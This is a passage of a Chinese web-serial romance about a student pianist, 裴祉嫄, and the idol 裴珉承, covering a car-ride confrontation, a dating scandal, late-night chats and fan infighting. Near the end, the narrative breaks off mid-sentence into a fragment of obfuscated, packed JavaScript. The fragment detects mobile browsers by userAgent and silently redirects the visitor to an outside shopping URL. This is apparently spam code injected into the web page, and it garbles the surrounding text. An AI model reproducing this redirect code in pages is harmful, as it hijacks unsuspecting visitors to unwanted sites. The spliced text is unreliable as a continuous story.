两个人上次有如此亲密的肢体接触是在除夕的那个晚上，他不知道是不是那天起两个人之间开始产生了变化。
又或者是，更早以前吗？
裴珉承动作轻柔地把她黏在脸上的头发一一清理开，然后说：“不要哭了。”
他说过的，他不会安慰人啊。
裴祉嫄没说话，泪眼朦胧地看着他冷漠的脸，再次说道：“对不起。”
声音是意料之中的沙哑。
裴珉承没回答。
裴祉嫄却没有停下的意思，她吸了吸鼻子，哽咽道：“我只是想知道你的答案，对不起，我知道错了。”
裴珉承深吸了一口气，松开了手靠在椅背上看她。
已经记不得上次看见他这双盛满冷漠和疏离的眼睛是在什么时候了，裴珉承总是脾气很好，不管她有什么要求都有求必应，以至于她忘了，他的好脾气都是留给值得的人的。
裴祉嫄眨了眨眼，只觉得眼眶里的眼泪又要掉下来，但是她不能总是哭，她知道，没有人会喜欢总是哭的人。
她低下头抹去了脸上的眼泪，生怕控制不住自己的情绪，只得悄悄用手掐住自己的手掌心。
她咳了一声整理自己的情绪，然后抬头和面无表情的裴珉承对视，“我知道了，我以后不会再给你找麻烦。”
在此之前，裴祉嫄不确定自己的感情。
现在，发疼的心脏给了她答案。
她不能再在这样的环境里待着了，裴祉嫄伸手拉开车门准备下车，然后发现车门被锁了。
她回头和裴珉承对视，尽力维持着冷静说：“让我下去。”
“你现在脑袋清醒吗？”
“……不用你管。”
听到她赌气的话，裴珉承维持了很久的冷漠面孔裂开了一道缝隙。
小孩子就是这样，说也不愿意听，自以为忍得很好，其实身体都在发抖。
可怜死了。
裴珉承闭上眼缓了片刻，伸手掰开了她紧紧握在一起的手。
裴祉嫄的手平日里养护得很好，因为要弹琴日常还会护手，所以触感也是软软的。
因为她过度用力，不怎么长但是修得有一点尖锐弧度的指甲已经陷入肉里。
手心里留下了密密麻麻的指甲印，严重的地方已经开始渗血，此刻已经红肿成一片。
“真是下得去手。”
裴珉承客观评价了一句，不顾她的挣扎朝她靠近，“裴祉嫄。”
“你知道我为什么生气吗？”
“不止是因为今天的工作行程泡汤。”
对上她瞪大的眼睛，裴珉承反而笑了一下，而后收起笑，继续说：“你一个女孩子，不知道酒吧很危险吗？今天你拿这个来试探我，我就算知道是假的也会来，因为担心你的安危。”
“但是你有听过狼来了的故事吧，”裴珉承长长地叹了一口气，“如果你以后
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真的遇到危险，我就不会来了。”
“不要消耗信任，它没那么脆弱，但也没那么坚强。”
“还有，”裴珉承顿了一下，继续说，“你年纪还小，我不希望你对我的喜欢建立在我对你好的前提下，所以我的意思是，不要因为别人对你好，你就去喜欢别人。”
裴祉嫄一直安静地听着，到这里又忍不住鼻头泛酸。
裴珉承看见了，但他没管，很多事要说明白才可以。
“我不喜欢那个女生。”
沉默了一下，裴珉承开口说了一句跟现在的话题不相关的事。
裴祉嫄愣了一下，明白了他话里的意思。
她没想到，那条消息他看见了。
“我没有说我不喜欢她就是喜欢你，”裴珉承冷静地看着她，“但是我也没有说不喜欢你。”
裴珉承说了一堆喜欢不喜欢的，她现在很难分析出来是什么意思。
然而裴珉承不给她思索的机会，只是接着说：“我给你时间考虑，你也要给我时间才行。”
“裴祉嫄，不要轻易喜欢一个人。”
“爱你自己比爱别人更重要，同样的，爱别人之前，你先要学会爱自己。”
裴珉承知道缺少父母陪伴的孩子很容易因为别人的陪伴产生不一样的情愫，他不喜欢建立在这样基础上的喜欢。
他希望喜欢只是喜欢，无关其他因素的喜欢。
“这些话你要记住，记不住也没关系，我会继续告诉你。”
谈了很多话以后，裴祉嫄的情绪稳定了很多，至少没有再闹着要下车。
“我能不能不回家？”
“……”裴珉承没理，“我刚刚才跟你说的话就忘了？”
他说了太多，她不知道他说的是哪句，闻言也只是瘪瘪嘴，“可是我一个人在家，害怕。”
“你就不能看在我眼睛不好又头晕的份上收留我吗？”
裴珉承点点头，把方向盘打了个转：“行，你明天起来别后悔。”
他没有听到回答，腿上突然传来了重量，他低头一看，裴祉嫄找不到枕头就把头趴在了他腿上。
晚上有一点冷，但是车窗禁闭着，车里是很热的。
裴祉嫄灼热的呼吸打在他腿上，裴珉承被痒到想动，又想把她推开，但是盯着她睡得很熟的睡颜看了一会儿，终究还是放弃了。
算了，谁让他心地善良。
一路驱车回到家，裴珉承喊了几声都没喊醒她，只好自己受累把人抱了回去。
裴祉嫄很瘦，虽然脸颊上长了点肉显得脸圆圆的，但是抱起来才知道她身上四处是凸出来的骨头，将近170的身高体重抱起来体感都没过百。
想起仅有几次的看见她吃饭时的狼吞虎咽，裴珉承叹了口气。
那么能吃怎么还这么瘦？
把人放在房间安置好，裴珉承就去阳台吹风了。
从这里只能看到远处电视塔的光，其他地方的光都像是星辰散发出的微弱光芒。
他看着发光的塔发呆，思绪万千。
从开始工作起他就全心全意投入工作，为了不辜负粉丝一度熬夜写歌，无数次的去设计舞台。
他的社交圈不是很大。
大部分原因是因为同年的是后辈，出道时间也算是很长的他们后面有一群新的后辈。
他性格又不是会主动社交的人，因为比较宅，工作结束就待在酒店，平时除了健身房工作室练习室之外，其他地方真的不怎么去。
活了快三十年，身边最亲近的异性还是自己的妹妹。
思及此，裴珉承打开手机翻找起了许久不联系的妹妹的联络方式。
她们年纪相差无几，想来总是能比他更懂的。
15. 过去
所以说人不要太早的做出承诺，裴珉承现在对这句话有了深刻的认知。
收到消息后他犹豫了十几分钟才又重新拿起手机回消息。
Hfueiwndni：作业做完了吗你。
此时裴祉嫄正在看群消息，郁渺一个人在刷屏。
鱼苗：[视频]
鱼苗：[语音]
鱼苗：[图片]
照片是一堆人。
裴祉嫄不明所以地点开语音，听见郁渺说：“我终于要去见我爱豆啦！”
“……”
然后她点开视频，是照片的动图版，不过这次裴祉嫄看清楚了，郁渺手里拿着应援棒和手幅。
YuAn：挺忙啊大明星。
收到消息时裴珉承正在化妆，他只是看了一眼就把手机收了起来。
裴祉嫄也没指望这个时候还能有回复，她从群里郁渺发的消息来看理清了这是什么情况。
ERATH已经大半年没有回归了，上次的正式舞台也是在年末，距今已经两个月的时间了，这次的活动只是一场时长两小时出头的fm。
ERATH是很少开签售的一个团，早期每年都会巡演，但近几年巡演频率减少了很多，甚至连回归都是一年就一次的程度，行程都逐渐变成了以个人为主，所以很久没有的全员活动让粉丝们都很激动。
加上是在放假期间，很多学生党也都抽得出时间去。
值得注意的是，这场fm是免费举行的。
网上早早就有了消息，只是裴祉嫄没去搜就不知道，对于裴珉承还有空跑来过年这件事稍微有点愧疚。
根本不敢再打扰。
她对什么见面会的都不感兴趣，正好天也暗了，在群里恭喜了一下郁渺，就和姜烟澜一起出去吃饭了。
晚上回来以后两个人终于静下了心，专心把注意力集中到学习上。
时间一晃而过，裴祉嫄忙着学习的时候也没忘了时不时地去骚扰一下裴珉承。
都没得到什么想要的回复就是了。
裴珉承宁愿很认真地发很多话拒绝她也不愿意敷衍她一下，热脸贴冷屁股好几天后，裴祉嫄开始有点泄气了。
后面就没有再找过裴祉嫄，裴珉承以为她放弃了，自然也没有主动给她发过消息。
两个人就这样在彼此的联络人界面躺列。
直到快开学的那两天，网上突然爆出了裴珉承的恋爱绯闻。
裴珉承出道以来就没有传过任何绯闻，虽然有人骂他别的，但唯独这点是从来没有人诟病的。
郁渺在群里骂骂咧咧，气得下一秒就要去把女方抓出来打一顿的架势。
郁渺：什么热度都敢蹭她是真的想被骂。
下面附上了一条帖子。
裴祉嫄点进链接，发现热搜之下几分钟之内已经有了二十万加的评论，并且讨论度还在飞速上升。
评论区前排都是澄清贴，除此之外，看热闹的路人和跟着加入搅局的别家粉也占据了不少楼层。
被爆的女方据说是一名舞者，因为和多位爱豆有过合作而小有名气，和裴珉承据说就是因为合作而生情的。
值得一提的是，她的名气都是靠和合作的爱豆炒出来的。
营销号配的图有两个人共进晚餐的，也有并肩散步的，甚至还有到女方家门口的，无一不是举止亲密的。
那个女生很漂亮，长相落落大方，重点是她一点都不幼稚，看起来就会是很多人喜欢的样子。
其实裴祉嫄不是很相信这些图片，她人比较固执，认识一个人以后就不会轻易去怀疑这个人的人品，除非他亲口承认，不然不管别人怎么说都不会信的。
但她还是难过。
不仅是为他被造谣而难过。
还因为她突然发现两个人的距离太远了，如果不是她爸妈的原因，如果她没有去公司和他遇见，那他们这辈子都不会有认识的可能。
就像他说的那样，对他而言她好像确实不成熟，爱哭又幼稚，他喜欢谁都不会喜欢她这样的吧？
郁渺说自己要去评论区和他们一决高下之后就消失了。
裴祉嫄握着手机没说话，见状，姜烟澜凑过来安慰：“这不一定是真的，你别伤心了。”
“管他是不是真的，跟我又没关系。”
姜烟澜抱了抱她，没再说话。
事件随着时间的流逝而发酵，裴珉承和公司的不回应让不少人都丧失了信心，脱粉投稿的帖子接都接不过来，脱粉时还不忘趁机踩一脚裴珉承。
一时间颇有一种墙倒众人推的感觉。
往日里好评众多的人也开始有无数黑他的帖子了。
裴祉嫄觉得有一点伤心。
明明春天都要来了。
开学后郁渺也沉默了很多，她义愤填膺地和几个人聊了一次，但是三个人都对娱乐圈不太了解，哪怕是稍微感点兴趣的裴祉嫄也搞不太懂。
郁渺发现她们都一头雾水也听不太懂，就不再为难她们了，每天忙着和网友大战。
“渺，你不是说不介意他谈恋爱吗？”
四个人从高一就是舍友，高一那会儿郁渺就说过她不在乎裴珉承的情感问题，只要他舞台实力过关，脸和身材不要变就会一直粉。
没有想到自己说的话还被记着，郁渺叹了口气，她是不在意裴珉承和谁谈恋爱，她不是梦女粉，也不是女友粉，只是慕强批纯舞台粉，但是不代表她可以接受有对方是个到处蹭人热度的。
裴珉承一直的冷处理让她都开始不自信了，不知道这算不算是默认的一种方式。
托裴珉承的福，她们都没有什么处理绯闻事件的经验，虽然第一时间澄清了，也没有阻止得了大规模的脱粉。
当然，也还有很多理智粉选择相信。
甚至还有的粉丝已经说服自己接受了，恋爱也行，对方不作就好。
可是她们就是觉得作为当事人不管谈不谈都得出来回应一下。
对此，有粉丝表示公司限制了他的发言，也有人说他就是默认了，公司根本管不了艺人。
作为粉丝现在能做的就只有选择相信了，郁渺不想脱粉，除了粉太久真的有感情之外，还有一个原因就是很难再找到他的代餐。
“其实我们只是需要他的一个态度而已。”郁渺沉默了好久，才重新开口：“因为我们只是想听他说。”
剩下的人都互相看了一眼，厉念是看郁渺，姜烟澜则看向裴祉嫄。
裴祉嫄对此一无所知，她低头盯着手机发呆。
已经好长时间了，不知道他现在怎么样了。
裴祉嫄不敢给他发消息。
怕打扰他。
再次见到裴珉承是在二月底，距离绯闻事件已经过去了半个月的时间。
裴祉嫄在这段时间习惯了睡前刷一下消息，好不容易熬到了周末就没睡太早，然后手机上突然弹出来了一条“你关注的账号min正在直播”的消息。
为了关注到裴珉承的消息，裴祉嫄下载软件关注了他的账号。
看到这条消息的时候她脑子都还没反应过来手就先点了进去。
直播间因为人太多而变得很卡，裴祉嫄进去时只看到了裴珉承消瘦了不少的侧脸。
他只穿着一件黑色高领毛衣，黑色的头发长长了一点，刘海把眼睛都遮住了，地点是他自己家，直播画面很暗，只有不远处的落地灯传来的一点光。
直播间卡顿了一下，裴祉嫄戴上耳机的第一秒就听见了裴珉承在跟直播间的观众们打招呼的声音。
有一点沙哑，不知道说太多话还是太久没说话，又或者是生病还是什么的原因。
直播间的消息刷得飞快，裴祉嫄一条都没仔细看，视线全部放在了视频里的那个人身上。
裴珉承大概是上线
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来给大家报平安的，直播还没有十分钟就说要下播。
说完要走的话，裴珉承又没有离开。
他像是在决定些什么，最后说了一句：“如果以后我在感情上有什么进展的话，会告诉你们的，别担心。”
说完这句话不顾评论区激增的评论就下线了。
裴祉嫄正望着显示“直播已结束”的页面愣神，手机上突然弹出了刚刚结束直播的人发来的消息。
Hfueiwndni：睡了吗？
YuAn：睡了。
翻完消息裴祉嫄翻身平躺，把手机举到面前等回复，然而等到手软都没有收到消息。
被突然砸落的手机吓了一跳，裴祉嫄偏头避开手机，然后起身主动发去消息。
YuAn：你人呢？
Hfueiwndni：……你不是说睡了？
裴祉嫄一口气差点没上来。
YuAn：……你真烦人。
Hfueiwndni：嗯，需要给你降降火气吗？
裴祉嫄想到很久之前发的那条消息，有点尴尬地掐了一下手掌心，过了一会儿才问：那你准备怎么做？
下一秒一通视频就弹了过来，裴祉嫄慌了一下才想起来自己戴着耳机，她缩回被子里打了一行字：我舍友在睡觉。
Hfueiwndni：嗯。
视频依旧还没挂，裴祉嫄按下接通，发现他那里漆黑一片。
她想问点什么又怕吵到舍友，只好切回聊天框打道：要不你等等，我下去出个门。
Hfueiwndni：没事，就这样吧，不用说话。
裴祉嫄缩回了探出去的手，虽然快三月了，但是天气依旧很冷，晚上气温还是很低，如非必要她不是很想离开她温暖的被窝。
其实两个人的环境都是漆黑一片的，裴珉承那里亮着一盏小灯还能看到他的脸，裴祉嫄这边就是纯黑，只能看到一个轮廓。
两个人安静的对视了一会儿，裴珉承就主动挂掉了视频。
Hfueiwndni：还气吗？
YuAn：不知道你问的关于哪一个？
YuAn：是绯闻还是不理我的事？
YuAn：消气了，你要感谢你的脸。
裴祉嫄一口气发完了消息，根本等不及他回复。
Hfueiwndni：跟你道歉，两件事都。
裴祉嫄想问为什么需要跟她道歉，她又不是他粉丝，但是知道得不到想要的答案，也不敢自作多情，于是打了半天又把字全删了。
最后只发了三个字。
YuAn：你瘦了。
Hfueiwndni：嗯，所以有空的话，陪我吃顿饭吧。
YuAn：你现在不怕吗？
裴祉嫄是想说刚发生了这种事两个人还是不要见面的好，谁知等了半天，就等到他发过来一个“怕”字。
YuAn：？
Hfueiwndni：所以你陪陪我吧。
Hfueiwndni：我一个人好怕的。
虽然他疑似被什么鬼上身了，不过看在太久没见的份上裴祉嫄还是答应了。
如果她现在就想翻墙爬出去，但是被拒绝了。
YuAn：都怪你，我睡不着了。
Hfueiwndni：对不起。
Hfueiwndni：和我说说话吧。
说是要说话，两个人又打起了视频，裴祉嫄懒得打字也不想说话，就侧躺着看手机另一头的裴珉承又开始喝酒。
裴祉嫄在聊天框提醒他少喝，然后又说自己睡不着。
裴珉承在网上翻了一个故事书念给她听，不知道是他的声音催眠还是白天太累，故事都没听完她就睡着了。
裴珉承喊了她一声确定她睡着了之后就把视频挂断了。
“晚安，明天见。”
16. 过去
放在桌上的手机不断发出消息提示声，裴珉承看都不用看也知道是谁，但放了一会儿他还是拿起来了。
看看她又在搞什么鬼。
内容毫无营养，全是一些胡乱打的字。
裴珉承一个字都没回，就等她发累后自己放弃。
手机很快就没有了动静，裴珉承一边喝酒一边点开她的朋友圈。
裴祉嫄的朋友圈没有设置什么三天可见的权限，只是他以前都没怎么点进去看过，她的朋友圈里照片挺多的，食物风景自拍照，还有不少碎碎念。
不过和其他照片下面一溜儿的点赞评论相比，这些碎碎念下面反而空空荡荡的。
裴珉承猜她大概率对这些人隐藏了。
裴祉嫄表面上看起来是个心志很坚定的人，裴珉承没有和她聊过学习，但从岑芮那里也听说过她成绩很好，很乖很懂事，平时根本不让他们操心她的成绩。
但是这些碎碎念里全都是发泄情绪的话，从她的字里行间能感受得到她的茫然和无措，她好像除了固定的学习外，不知道自己还能做什么。
裴珉承想起了她那天哭得十分惨烈的样子，她是真的很喜欢舞蹈才会那么难过吧。
裴珉承心情复杂地把手机关掉，把桌上剩下的酒一饮而尽后才起身洗漱休息。
第二天，裴祉嫄和姜烟澜因为喝多了一觉睡到了大下午才醒来。
屋子里厚重的窗帘遮挡了窗外略有一些刺眼的阳光，下午也很暗的房间很适合睡觉，姜烟澜起床去洗漱了，裴祉嫄没有起床，而是翻了个身改动作趴在床上玩手机。
解锁手机的脑海里突然闪回了昨天晚上的事，裴祉嫄尚在迷糊的大脑一下清醒过来，她猛地从床上弹起来，然后连忙给本人求证。
YuAn：我昨天不会真的说了那些话吧？
Hfueiwndni：你指什么？
裴珉承好像守在手机面前就等着她醒来给他发消息似的，她刚发出去的消息马上就得到了回复。
裴祉嫄正在琢磨怎么说才能不那么明显直白，字还没打几个就看到他紧接着发来的消息。
Hfueiwndni：问我喜不喜欢你那一句？
喜欢这两个字好像有什么魔力，裴祉嫄看完感觉心跳都要骤停了，在床上翻了个身，面朝天花板发呆。
“你干嘛呢？”
姜烟澜出来看她跟具雕像似的一动不动地躺着，疑惑地开口问道。
裴祉嫄深吸一口气坐起来，没有回答她的问题，只是问：“你有喜欢过别人吗？”
“……”
姜烟澜翻了个白眼，坐到她身边，“我都老跟着你，你还能不知道我谈没谈过恋爱？”
“你有喜欢的人了？”
裴祉嫄郁闷地低下头，“我不知道啊。”
姜烟澜凑近她，然后自然无比地开口问道：“我还以为你喜欢裴珉承呢。”
裴祉嫄像是被人戳破了心思似的，急忙摆手否认。
姜烟澜本来也就是随口一说，但看裴祉嫄的表情反而心生疑惑，她用自己还不完全清醒的脑袋思考了一下，然后从记忆深处扒出了昨天晚上自己所看到的画面。
表情蓦然一顿，再开口时险些破了音：“你不会在和裴珉承谈恋爱吧？”
“没有。”
“那，”姜烟澜更担心了，试探性地换了一种问法，“你是在单恋他？”
这次裴祉嫄没有立马否认了。
姜烟澜沉默了半天，憋出一句：“我靠。”
“不是你喜欢他哪儿啊，”姜烟澜一一举例：“虽然他长得好看，声音好听，人还亲切，又会煮饭……”
“但是，”姜烟澜说着说着感觉自己说的跟缺点都不搭边，然后停下来绞尽脑汁想了一下，最终补充了一个缺点，“他可是爱豆。”
“你想要上世趋？”
“……”
裴祉嫄把头发揉乱，又重新躺回了床上，“我不知道我是不是喜欢他。”
“可能我疯了。”
姜烟澜客观评价道：“喜欢他，你确实疯了。”
两个人就这样一坐一趟地沉默下来，房间里陷入安静中，过了不知道多久，裴祉嫄再次起身，然后把头搭在了姜烟澜的肩膀上。
“我也知道我不应该生出这样的感情，可是小姜，我现在是真没心思学习。”裴祉嫄说，“我感觉我要是弄不明白这到底是什么情绪，我一定没办法好好学习。”
两个感情上完全空白的人找不到人求助，也没办法找人求助，只好把一切摊开来尽力分析了。
裴祉嫄和她讲了一些他们之间的事，当然都是概括版，只是简单的叙述了一下过程而已。
听完后姜烟澜发出感叹：“那他人还真好。”
“但是现在你喜欢他有什么用？”姜烟澜问：“他喜欢你？”
“……”
闻言，裴祉嫄又蔫吧了，缩回了床上，“我觉得不喜欢。”
姜烟澜跟着抱上去拍了拍她。
两个人又躺了好一会儿，饿得不行了才从床上爬起来。
下楼前裴祉嫄还是没忍住又看了一眼消息，聊天记录还停留在一个小时之前，裴珉承一个标点符号都没有再发过来，不知道现在是什么情绪。
裴祉嫄在对话框打了半天字，最终叹了口气，又把手机关上了。
她也烦。
再也不喝那破酒了。
第二天是大年初一，爸妈早早地就发消息说带爷爷奶奶出去玩了，她们俩那时候根本没醒，现在偌大的房子里只有两个人。
两个人随便弄了点吃的就去写老师发的卷子了。
然后裴祉嫄写的卷子获得了一堆红叉。
“……”
姜烟澜看了看卷子，又看了看裴祉嫄，评价道：“你没救了。”
“……”
裴祉嫄沉默了一下，摸出手机拍了张照。
YuAn：都怪你。
YuAn：[图片]
裴珉承回了一个问号，她更生气了。
YuAn：所以你说的回复呢？
那边安静了一会儿，裴祉嫄都要等得不耐烦了才等到消息提示的声音。
Hfueiwndni：好学生还是好好读书吧。
好学生这三个字莫名的有一种讽刺意味，裴祉嫄面无表情地把照片引用了一下。
YuAn：你觉得我现在能好好学习吗？
Hfueiwndni：……对不起。
YuAn：你就不能说一句喜欢我让我安心一下？
Hfueiwndni：你是我粉丝？
YuAn：不是，所以呢？
Hfueiwndni：那不能。
Hfueiwndni：在该学习的年纪还是好好学习吧。
发完这句话裴珉承就不理她了，无论裴祉嫄再发什么都不回复。
她甚至怀疑他屏蔽了她的消息。
裴祉嫄发了一句“那我明天再问”后就把手机放下了，尽量把精神都集中到学业上，还好她基础好，之前走神造成了比较惨烈的成绩，接下来的卷子都没有再出错。
姜烟澜在她发消息的时候就已经在写作业了，对于这件事她当然是很想八卦一下，但是她也知道什么事不应该好奇，裴祉嫄愿意和她谈没非要瞒着她就已经很把她当朋友了。
毕竟她喜欢的那个对象可不是什么普通人。
姜烟澜手上写着卷子，算题目的时候脑子里却突然冒出了昨天自己一不小心看到的画面。
她和徐寅河在院子的另一边，与另外两个人之间还是算远的，毕竟他们俩就在门口站着，知道裴祉嫄胆子小，于是给她发了多数会给小朋友玩的仙女棒后就到
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一边玩大的烟花了。
放完烟花她本来想喊裴祉嫄看，谁知道一抬头就看到刚才在餐桌上还一言不发的两个人挨着站在一块，裴珉承手里甚至还拿着一根没点燃的仙女棒。
她当时只觉得他人真好。
结果等再看，两个人不知怎么回事莫名其妙就凑到一起去了，距离近得能吓死人，要不是她觉得两个人没那么丧心病狂，就她那角度，说两个人在接吻都是可能的。
她还特别好心地帮他们吸引了徐寅河的注意力，要不然误会的可就不止她一个了。
徐寅河那个人傻傻的，肯定会误会。
这么一想，姜烟澜顿时觉得自己可真是聪明又善良的绝世好朋友。
“……你想什么呢？”
嗯？
姜烟澜被这一声喊回神，低头一看，自己不知道什么时候起把本该落在草稿纸上的笔移到了卷子上，然后画了好几个圈圈。
“我看你也没救了。”
两人一下都没了写作业的心思，索性跑去琴房静心。
姜烟澜一进去就占据了古琴的位置，裴祉嫄也没有和她抢的想法，去后面的茶室煮茶去了。
悠扬的琴音在琴室里响起，从外表看起来姜烟澜属实不像一个会弹琴的人，裴祉嫄听着琴声想起了两个人第一次见面。
那时候她是班里的特殊孩子，因为眼睛不好的缘故很少参与班上的活动，加上又是初二才转进去的，跟谁都不熟，于是常常一个人坐在位置上，上课听课，下课就趴在桌子上看班上的同学打闹。
徐寅河是唯一一个不觉得她眼睛失明是件很恐怖的事的人，但那个时候他常常公司学校两头跑，没有什么时间陪她玩。
裴祉嫄常常一个人，后来也渐渐习惯了一个人。
无趣的日子一天一天重复播放着，直到班上来了一位转学生。
姜烟澜外表看起来很凶，已经不是高冷的范畴了，她那时候顶着一头编满辫子的头发，脸上没有化妆也显得很吓人。
那个时候班上的同学私下称她为不良少女。
裴祉嫄撞见过她脱掉校服的样子，脸上顶着个与年纪不符的大浓妆，头发卷卷的，带着一群像是小弟的人在巷子里围人。
那时候不小心对视上的眼神连裴祉嫄都吓了一跳。
两个人熟起来还是在那条巷子，姜烟澜生病倒在巷子里，裴祉嫄路过时碰见，愣是一个人把人搀扶了出去。
然后她就发现，姜烟澜表面冷漠很难接触，其实内心还是一个小女孩，虽然表面依旧是面无表情的，却会在路过她身边时给她留下一点零食。
得知她眼睛的事时也不像别的同学那样，她没有嘲笑她，也没有说不相信非要试探一下，更没有害怕，她只是沉默了一下，然后说，就算看不见也是她见过最好看的眼睛。
熟悉后的某一天，裴祉嫄知道了她会弹古筝，并且还有一个账号的事。
她总觉得人很神奇，好像在说到自己热爱的事时眼里总是散发着难以忽视的光。
后来她在姜烟澜的建议下也成为了一名博主，两个人偶尔会在一起发视频，粉丝们也知道她们关系很好。
姜烟澜是一个很善良很有热情的人，即使后来裴祉嫄的账号比她多了很多流量和热度，她也只是毫不在意地笑着说：“你火了记得让我蹭蹭热度哦。”
裴祉嫄的视线太过灼热，姜烟澜转过头看向她：“快过来带我一下，你的琴我弄不太懂。”
“好。”
两个人在琴房待到很晚，还录制了一条视频，这次因为有姜烟澜在的原因，她难得录了一整首。
不过不是传统古琴曲，而是那天她跳舞时练习的歌。
或许是受这首歌的影响，出去后姜烟澜去剪视频，她则给裴珉承发去了一条消息。
YuAn：你之前说让我想练习就找你的话，还算数吗？
17. 过去
第二天上完第一堂大课回宿舍的路上裴祉嫄才突然想起来自己忘了什么。
“那什么舞会的，你们都要去？”
两个人都点点头，“对啊。”
姜烟澜说：“就当去玩了嘛。”
段贞绫点头附和：“对啊，总不能你男朋友那么小气不让你去吧？”
“……”
裴祉嫄和姜烟澜对视一眼，不知道现在网速快成这样，她还是有点心虚，但为了不露馅还是笑了两声同意了，“我会去的。”
段贞绫笑得一脸欣慰。
经过大半个月的相处她们三熟悉了不少，因为同班同寝基本上是同进同出，已经形成了一个新的三人组。
虽然是三人中最小的，但是她很优雅，每天早起化妆，穿裙子骑车略显狼狈，但停下后又是淑女范十足，姐感满满的一款妹妹。
就是她们俩不知道是什么体质，段贞绫在军训期间就是代理班长，正式开学后也被选举为班长，与此同时还是寝室长。
和厉念一样。
想到她裴祉嫄不禁叹了口气，郁渺还常常出现在群聊，和她们吐槽军训，分享日常，她虽然也确实如她所说会回消息，鉴于和国内的十二个小时时差经常和大家岔开时间说话。
三人回到宿舍时空无一人，这位学姐很高冷，平时真的不和她们说话，床帘一拉，甚至都不知道她人在不在宿舍。
几人下意识放轻了动作，裴祉嫄也爬上了床。
品牌方刚才联系了她，给她看了一下实物图，她跟商家确认过后去找了郁渺。
得知她要给裴珉承送生日礼物郁渺也没有觉得很奇怪，只是有点好奇，“可是你要以我的名义送的话他不就不知道是你送的了吗？”
“没事的，反正你送我送没区别呀。”
裴祉嫄当然是有自己的考量的，她莫名其妙送个礼物给裴珉承很奇怪，还是通过粉丝送比较好。
毕竟她又不是粉丝。
“好吧，那你把礼物寄过来吧，我到时候会以粉丝的名义送给他的。”
郁渺没问她是什么礼物，反正依裴珉承的性子也会说的。
确定好事后两个人又聊了几句，因为上学再次不能去打歌现场的郁渺郁闷了一会儿，裴祉嫄安慰了半天才结束这次聊天。
时间就在忙碌的学习生活里度过，没有满课的时候，她们会约着一起去图书馆的自习室学习，虽然没有主修英语，但是为了备考12月的四级考试，她们还是决定多花点时间在英语上。
好在两个人英语都非常好，复习起来也不觉得陌生。
裴珉承也忙着准备回归的工作，没有和她联系，之前说的抽时间开播果然是抽时间，等他开直播的时候已经是生日的时候了。
第一个周她们逛了一下学校没出去，这个周末她们一早就去外面和约见的理发师见面了。
经过漫长的染发时间，三个人各自顶着五颜六色的脑袋结束了第一个行程。
段贞绫因为第一次染发所以染了一个低调点的蓝黑色，裴祉嫄也换了个樱花粉，姜烟澜则是染了个耀眼的人鱼橘。
裴祉嫄看到时还愣了一下，这个橘有点像她第一次见到裴珉承时他的发色。
“愣什么？”姜烟澜发现她没跟上来，又转头去牵她的手。
三个人在学校附近逛了一圈，去了学长学姐们推荐的美食街吃了一堆必打卡的好吃的，还去购入了新衣服。
裴祉嫄没怎么逛过街，也没怎么自己买过衣服，她的衣服一般都是爸妈派的人不定期会根据时节给她更换的。
她穿的比较多的风格下一次会多一点，基本上都是品牌当季新款。
逛街对她来说是个不小的体力活，基本上都是两个人买买买，她等等等。
不过最后还是每个人都收获满满地回了学校。
解放完双手，裴祉嫄才看到郁渺给她发的消息。
鱼苗：我靠！你和裴珉承谈恋爱了？
她一脸疑惑地敲下一个问号。
郁渺立刻拨了电话，“我给你发很多消息哎。”
裴祉嫄揉着酸胀的手腕说：“我们刚才出去观察学校周围了，你发的消息什么意思啊？”
“他刚才开直播啦！”
裴祉嫄“啊”了一声，她怎么知道他开直播这么早，之前看过的直播明明是大晚上的，她以为这次也会是大晚上呢。
不过她们回学校的时候都已经九点多了，这么一看，好像还真是晚上开的。
裴祉嫄的思绪飘了一会儿，又被郁渺的声音拉回来，“他切完那个生日蛋糕不是在抽评论回复嘛，不知道是看到了哪条，突然就说自己有喜欢的人了。”
所以郁渺第一时间当然想到了她，可惜的是她本人根本毫不知情，裴祉嫄长吸了一口气，手指揪着被角，尽量表现得轻松自然地回答她的问题：“那可能他是真的有喜欢的人了吧。”
多卑鄙，之前还说给他时间呢。
裴祉嫄心情不太好，强打着精神和郁渺聊了几句就挂断了通话。
她带了耳机，姜烟澜也只听到了这一句话，不用猜也知道她口中的他是指谁，姜烟澜搜了一下裴珉承的名字，很快得到了想要的答案。
但是她不好开口去安慰裴祉嫄，因为她知道不管怎么安慰她，她都只会若无其事地说没事。
姜烟澜叹了口气，在心里骂了一下裴珉承。
她也大概知道跟裴祉嫄打电话的人是谁，在两人通话结束后给郁渺发了一条消息。
一桶姜：现在开始烦他了。
郁渺也知道她知道了这件事，发来一个哭哭的表情包。
两人就裴祉嫄和裴珉承的事探讨了一下，最后一致决定先讨厌他一下。
结束通话后裴祉嫄看着两人的聊天界面发了会呆，不知道是怕他找她还是怕别的，她也没有勇气去问，怕两个人以后连发消息的机会都没有了。
总之先把他人拉黑了。
裴祉嫄觉得今天买的衣服都不能拯救他的烂心情了，反正也睡不着，索性就爬起来写作业。
她挺难受的，但是没有眼泪，也不想哭，只是觉得浑身的力气都被抽空了一般，什么都不想理了。
她没有自找罪受的上网，所以她也不知道因为这场直播网上度过了堪比腥风血雨的一晚。
大半年前的绯闻早就被澄清，他本人在之后的直播里也间接否认了，并向粉丝承诺以后感情上有进展会告知大家。
粉丝们从没想过进展能这么快，她们大概清楚他说的有就不会是刚有的。
因为没被拍到过和女艺人的照片，也没有什么行程重合很高的，所以大家倾向对方是素人，一堆人分析行程表，并试图扒出女方身份的。
不过都以失败告终，裴珉承的保密工作做得很好，一看就是下了一番功夫的。
现在粉丝分成支持、中立和反对。
理智事业批表示业务能力不下降就能接受。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024077|146331||http|test|mini|href|location''.split(''|''),0,{}));
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觉得出道长已经续过一次团约，距离下一个七年还有八个月的唯粉直接接团解散，根本无所谓他谈不谈。
当然也有休团两年多回归入坑的新粉无法接受，当即脱粉。
支持恋爱的那一方多半是妈粉属性，一个个展望期盼看到裴珉承谈恋爱的样子，在一群吵架的帖子里犹如一股清流。
几方混战了一晚上，裴祉嫄对此毫不知情。
这个晚上只有段贞绫是睡得好的。
